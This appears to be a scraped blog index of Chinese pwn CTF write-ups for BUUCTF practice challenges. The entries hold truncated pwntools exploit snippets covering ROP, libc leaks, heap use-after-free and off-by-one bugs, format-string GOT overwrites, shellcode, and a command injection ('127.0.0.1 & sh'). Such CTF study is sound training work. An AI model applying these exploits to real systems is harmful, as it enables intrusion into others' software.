![](https://img-blog.csdnimg.cn/20201014180756724.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
pwn
、moddemod
这个作者很懒,什么都没留下…
展开
-
picoctf_2018_buffer overflow 2&&wustctf2020_getshell&&[BJDCTF 2nd]snake_dyn&&ciscn_2019_es_7[rsop]
picoctf_2018_buffer overflow 2expfrom pwn import *context.log_level = 'debug'def debug_pause(): log.info(proc.pidof(p)) pause()proc_name = './PicoCTF_2018_buffer_overflow_2' p = process(proc_name)p = remote('node3.buuoj.cn', 28375)elf =原创 2020-07-22 15:18:35 · 418 阅读 · 0 评论 -
[V&N2020 公开赛]babybabypwn[srop]
存在沙盒机制,禁用了execve,只能调用orw直接读flag了…#! /usr/bin/python3from pwn import * ...原创 2020-07-21 23:00:55 · 259 阅读 · 0 评论 -
[BJDCTF 2nd]secret&&inndy_rop
[BJDCTF 2nd]secretexpfrom pwn import *context.log_level = 'debug'def debug_pause(): log.info(proc.pidof(p)) pause()proc_name = './secret'p = process(proc_name)# p = remote('node3.buuoj.cn', 28831)原创 2020-07-20 14:03:12 · 487 阅读 · 0 评论 -
picoctf_2018_buffer overflow_1&&pwnable_start&&hitcontraining_magicheap
picoctf_2018_buffer overflow_1expfrom pwn import *context.log_level = 'debug'def debug_pause(): log.info(proc.pidof(p)) pause() proc_name = './PicoCTF_2018_buffer_overflow_1'# p = process(proc_name)p = remote('node3.buuoj.cn', 28190)e原创 2020-07-19 21:45:45 · 332 阅读 · 2 评论 -
others_babystack
expfrom pwn import *from LibcSearcher import *context.log_level = 'debug'def debug_pause(): log.info(proc.pidof(p)) pause()def store(content): p.sendlineafter('>> ', str(1)) p.send(content)def print(): p.sendlineafter(..原创 2020-07-19 17:23:04 · 443 阅读 · 0 评论 -
axb_2019_fmt32
expfrom pwn import *context.log_level = 'debug'def debug_pause(): log.info(proc.pidof(p)) pause() proc_name = './axb_2019_fmt32'# p = process(proc_name)p = remote('node3.buuoj.cn', 27478)elf = ELF(proc_name)read_got = elf.got['read'..原创 2020-07-19 13:17:29 · 832 阅读 · 1 评论 -
xdctf2015_pwn200
expfrom pwn import *from LibcSearcher import *context.log_level = 'debug'proc_name = './bof'# p = process(proc_name)p = remote('node3.buuoj.cn', 25483)elf = ELF(proc_name)main_addr = elf.sym['main']write_plt = elf.plt['write']write_got = elf.go.原创 2020-07-18 11:04:58 · 270 阅读 · 0 评论 -
vn_pwn_warmup
可以看到第二个read才存在溢出,但是因为两个函数帧栈是紧挨着的,只有rbp与call指令下一条指令的地址即返回地址,这里可以溢出0x10字节大小的数据,即rbp + ret,然后就回到了第一个read所在的函数帧栈,此时可以接着利用构造rop读取flag即可…这道题开的保护挺多的,首先栈不可执行,其次地址随机化,也就是当前elf文件每次装载到内存中的位置都是变动的,因为无法获取装载基址,所以构造的rop只能从泄露的libc中获取,同样构造的缓冲区也是libc对应的可读写位置.0是标准输入,1是.原创 2020-07-11 22:55:27 · 265 阅读 · 0 评论 -
gyctf_2020_borrowstack
注意上图,因为bss与got表位置比较近,所以要尽可能的抬高栈顶指针即rsp,不然在后续调用其他函数的时候,会因为一些push操作或者sub使得栈顶指针减小覆盖到got中的内容导致无法泄露libc或者使得程序无法正常运行…from pwn import *from LibcSearcher import *context.log_level = 'debug'proc_name = './gyctf_2020_borrowstack'p = process(proc_name)p = r..原创 2020-07-08 09:19:24 · 383 阅读 · 0 评论 -
ciscn_2019_final_3
tcache机制的利用,通过unsorted泄露进而将堆空间开辟到libc中,写__free_hook拿到shell…expfrom pwn import *context.log_level = 'debug'def pause_debug(): log.info(proc.pidof(p)) pause()def add(idx, size, content): p.sendlineafter('choice >', str(1)) p.sendl.原创 2020-07-08 00:13:54 · 635 阅读 · 0 评论 -
pwnable_orw
这道题应该是之前做过的…expfrom pwn import *context(arch='i386', log_level='debug')p = remote('node3.buuoj.cn', 27912)payload = asm(shellcraft.open('./flag') + shellcraft.read('eax', 'esp', 0x30) + shellcraft.write(1, 'esp', 0x30))p.sendafter('shellcode:', pa原创 2020-07-06 23:25:50 · 310 阅读 · 0 评论 -
picoctf_2018_rop chain
expfrom pwn import *context.log_level = 'debug'proc_name = './PicoCTF_2018_rop_chain'p = remote('node3.buuoj.cn', 27027)elf = ELF(proc_name)flag_addr = elf.sym['flag']win_function1 = elf.sym['win_function1']win_function2 = elf.sym['win_function2'原创 2020-07-06 22:43:41 · 646 阅读 · 0 评论 -
jarvisoj_level1
这题我写这个exp是在ubuntu18的环境下写的,远程和本地的IO交互的数据不太一样,下面的exp在远程可以拿到shell,本地可能需要修改一下…expfrom pwn import *from LibcSearcher import *context.log_level = 'debug'proc_name = './level1'p = process(proc_name)# p = remote('node3.buuoj.cn', 29850)elf = ELF(proc_na.原创 2020-07-06 20:22:36 · 366 阅读 · 0 评论 -
[V&N2020 公开赛]easyTHeap
ubuntu18.04 libc-2.27有Tcache机制,这道题malloc的指针数组在free的时没有置空…expfrom pwn import *context.log_level = 'debug'def pause_debug(): log.info(proc.pidof(p)) pause()def add(size): p.sendlineafter('choice:', str(1)) p.sendlineafter('size?', st.原创 2020-07-06 19:58:04 · 459 阅读 · 3 评论 -
bjdctf_2020_router
expfrom pwn import *p = remote('node3.buuoj.cn', 28110)p.sendlineafter('choose:', b'1')p.sendlineafter('address', b'127.0.0.1 & sh')p.interactive()原创 2020-07-06 12:44:50 · 461 阅读 · 0 评论 -
bjdctf_2020_babyrop2
注意这题开启了Canary因为限制了payload长度就不可以写got表了,但是可以直接泄露Canary值,在vuln中进行栈溢出即可拿到shell…expfrom pwn import *from LibcSearcher import *context.log_level = 'debug'proc_name = './bjdctf_2020_babyrop2'elf = ELF(proc_name)p = process(proc_name)p = remote('node3..原创 2020-07-06 11:45:01 · 569 阅读 · 0 评论 -
ciscn_2019_n_3[use after free]
expfrom pwn import *context.log_level = 'debug'def debug_pause(): log.info(proc.pidof(p)) pause()def new_note(idx, _type, length, value): p.sendlineafter('CNote > ', str(1)) p.sendlineafter('Index > ', str(idx)) p.sendlin..原创 2020-07-05 23:18:39 · 254 阅读 · 0 评论 -
[ZJCTF 2019]EasyHeap
下面的地址主要是因为这题没开PIE,地址是不会变化的…下图是构造的chunk写magic变量expfrom pwn import *context.log_level = 'debug'def pause_debug(): log.info(proc.pidof(p)) pause()def create(size, content): p.sendlineafter('choice :', str(1)) p.sendlineafter('Heap..原创 2020-07-03 16:27:55 · 734 阅读 · 2 评论 -
cmcc_simplerop
关于mprotect可参考mprotect静态链接的可执行文件,利用mprotect修改bss可执行,写入shellcode后跳转即拿到shell…from pwn import *context.log_level = 'debug'proc_name = './simplerop'p = process(proc_name)# p = remote('node3.buuoj.cn', 25491) ..原创 2020-07-03 12:45:34 · 251 阅读 · 0 评论 -
[ZJCTF 2019]Login
expfrom pwn import *context.log_level = 'debug'proc_name = './login'# p = process(proc_name)p = remote('node3.buuoj.cn', 29641) ...原创 2020-07-03 11:51:02 · 844 阅读 · 0 评论 -
jarvisoj_test_your_memory
我终于把buuctf这个平台上所有1分的pwn给刷完了....我以为后面都会是堆的题目,但是很明显这道题是栈的.....from pwn import *context.log_level = 'debug'proc_name = './memory'p = process(proc_name)p = remote('node3.buuoj.cn', 29878)elf = ELF(proc_name)system_plt = elf.plt['system']main_addr =.原创 2020-07-03 01:11:31 · 350 阅读 · 0 评论 -
[V&N2020 公开赛]simpleHeap[off by one]
注意这一题限制了申请的chunk大小最大为0x6f,所以需要连续申请两个0x68大小的chunk…expfrom pwn import *context.log_level = 'debug'def debug_pause(): log.info(proc.pidof(p)) pause()def add(size, content): p.sendlineafter('choice:', str(1)) p.sendlineafter('size?', s.原创 2020-07-02 23:12:41 · 379 阅读 · 5 评论 -
hitcontraining_uaf[use after free]
比较简单,直接留了后门!expfrom pwn import *context.log_level = 'debug'def pause_debug(): log.info(proc.pidof(p)) pause()def add_note(size, context): p.sendlineafter('choice :', str(1)) p.sendlineafter('size :', str(size)) p.sendafter('Con.原创 2020-07-02 18:59:16 · 283 阅读 · 0 评论 -
roarctf_2019_easy_pwn[off by one]
溢出一个字节,修改size域expfrom pwn import *context.log_level = 'debug'def debug_pause(): log.info(proc.pidof(p)) pause()def create_note(size, ): p.sendlineafter('choice:', str(1)) p.sendlineafter('size:', str(size))def write_note(index,...原创 2020-07-01 12:42:21 · 339 阅读 · 0 评论 -
bjdctf_2020_babystack2
expfrom pwn import *context.log_level = 'debug'proc_name = './bjdctf_2020_babystack2'p = process(proc_name)p = remote('node3.buuoj.cn', 26363) ..原创 2020-06-30 19:09:53 · 307 阅读 · 0 评论 -
jarvisoj_level4
expfrom pwn import *from LibcSearcher import *context.log_level = 'debug'proc_name = './level4'p = process(proc_name)# p = remote('node3.buuoj.cn', 27523) .原创 2020-06-30 18:51:38 · 209 阅读 · 0 评论 -
jarvisoj_level3_x64
我真是吐了,前一天做到这一题,本来都是非常简单的,但是我在众多p64()中写了一个p32()两天了也没看出来,今天决定打开gdb调试的时候,发现写了一个p32(),心态都崩了…expfrom pwn import *from LibcSearcher import *context.log_level = 'debug'proc_name = './level3_x64'p = process(proc_name)# p = remote('node3.buuoj.cn', 2709..原创 2020-06-30 18:30:50 · 252 阅读 · 2 评论 -
jarvisoj_tell_me_something
expfrom pwn import *context.log_level='debug'proc_name = './guestbook'p = remote('node3.buuoj.cn', 29838)elf = ELF(proc_name)payload = flat(['a' * (0x88), p64(0x400620)])p.sendafter('message:', payload)p.recv()p.recv() ..原创 2020-06-29 16:39:29 · 177 阅读 · 0 评论 -
jarvisoj_fm[FmtStr]
expfrom pwn import *context.log_level = 'debug' def debug_pause(): log.info(proc.pidof(p)) pause()proc_name = './fm'p = process(proc_na.原创 2020-06-26 20:51:18 · 267 阅读 · 0 评论 -
others_shellcode
这题我也不知道要表达什么,上一题还是堆题,这有点突兀…就32位的int 80系统调用,eax存放系统调用号,只是这里搞了一下,sub相减后就是11,就是execve,参数上面已经push了,直接就获得一个shell…from pwn import *p = remote('nde3.buuoj.cn', 27909) p.interactive().原创 2020-06-26 20:01:42 · 690 阅读 · 0 评论 -
[BJDCTF 2nd]ydsneedgirlfriend2[use after free]
有符号表,而且直接留了后门!expfrom pwn import * context(log_level='d.原创 2020-06-26 19:34:56 · 400 阅读 · 0 评论 -
babyfengshui_33c3_2016[堆溢出]
未来的你 = 你的热情 + 你的努力 + 那么微不足道的天赋其实做pwn题我感觉都是只可意会,但并非不可言传,只是说了感觉和说废话一样,没有什么实质性的作用,最最重要的是要自己多去操作调试,pwn多了也就那样吧!但是最核心的永远是你coding的能力!虽然在干着逆向的事,但是coding的能力决定了你的高度! ----小白感悟这道题问题出现在更新的时候边界的判断方法有问题,结合的堆的机制,就可以形成堆溢出!添加一个用户会申请两个chunk,后一个chunk的内容为.原创 2020-06-26 16:44:30 · 344 阅读 · 0 评论 -
jarvisoj_level3 [r2libc]
expfrom pwn import *from LibcSearcher import *context(log_level='debug')proc_name = './level3'p = process(proc_name)# p = remote('node3.buuoj.cn', 28793)elf = ELF(proc_name)main_addr = elf.sym['main']write_plt = elf.plt['write']write_got = elf..原创 2020-06-24 11:43:38 · 298 阅读 · 1 评论 -
[BJDCTF 2nd]r2t4 [格式化字符串写GOT]
开启了Canary,但Canary失败的处理逻辑会进入到stack_chk_failed函数,stack_chk_failed函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。expfrom pwn import *context(log_level='debug')proc_name = './r2t4'p = process(proc_name)# p = remote('node3.buuoj.cn', 29985)elf = ELF(proc_name)__...原创 2020-06-24 11:25:09 · 333 阅读 · 0 评论 -
bjdctf_2020_babyrop
expfrom pwn import *from LibcSearcher import *context(log_level='debug')proc_name = './bjdctf_2020_babyrop'p = process(proc_name)# p = remote('node3.buuoj.cn', 28227)elf = ELF(proc_name)read_got = elf.got['read']puts_plt = elf.plt['puts']main_.原创 2020-06-23 22:50:05 · 400 阅读 · 0 评论 -
[BJDCTF 2nd]test
ssh ctf@node3.buuoj.cn -p <port>查看test.c源码,这里过滤了'nepbushiflag|/$-<>.'这些字符,如果绕过直接调用system(user_input)当前用户ctf属于ctf组,这里要注意test设置了特殊权限位g位,而且flag文件与test同属于同一个用户组ctf_pwn,设置了g位,当test程序运行的时候,它的有效用户组(egid)就会变成文件的所属用户组即ctf_pwn。对于flag文件,它所在用户组的的成原创 2020-06-23 14:11:00 · 253 阅读 · 0 评论 -
ciscn_2019_es_2
简单分析:两次read都往同一个地方填数据(s栈变量的位置),可输入0x30大小,s离ebp距离0x28,可通过printf泄露压入的上一个栈帧的ebp,之后通过第二次read构造leave控制espfrom pwn import *def debug_pause(): log.info(proc.pidof(p)) pause()context(log_level='debug')proc_name = './ciscn_2019_es_2'p = process(proc_name.原创 2020-06-23 09:39:24 · 853 阅读 · 0 评论 -
[Black Watch 入群题]PWN
利用bss进行栈迁移exp#!/usr/bin/env python3# coding=utf-8from pwn import *from LibcSearcher import *context(log_level='debug')proc_name = './spwn'p = process(proc_name)# p = remote('node3.buuoj.cn', 29482)elf = ELF(proc_name)write_plt = elf.plt['wri.原创 2020-06-20 19:12:42 · 358 阅读 · 0 评论 -
铁人三项(第五赛区)_2018_rop
exp#!/usr/bin/env python3# coding=utf-8from pwn import *from LibcSearcher import *context(log_level='debug')proc_name = './2018_rop'p = process(proc_name)p = remote('node3.buuoj.cn', 25414)elf = ELF(proc_name)write_plt = elf.plt['write']read_.原创 2020-06-20 17:01:54 · 616 阅读 · 0 评论 -
ez_pz_hackover_2016
exp1#!/usr/bin/env python3# coding=utf-8from pwn import *from LibcSearcher import *def debug_pause(): print(proc.pidof(p)) pause()context(log_level='debug')proc_name = './ez_pz_hackover_2016'p = process(proc_name)# p = remote('node3.b.原创 2020-06-20 16:32:45 · 421 阅读 · 0 评论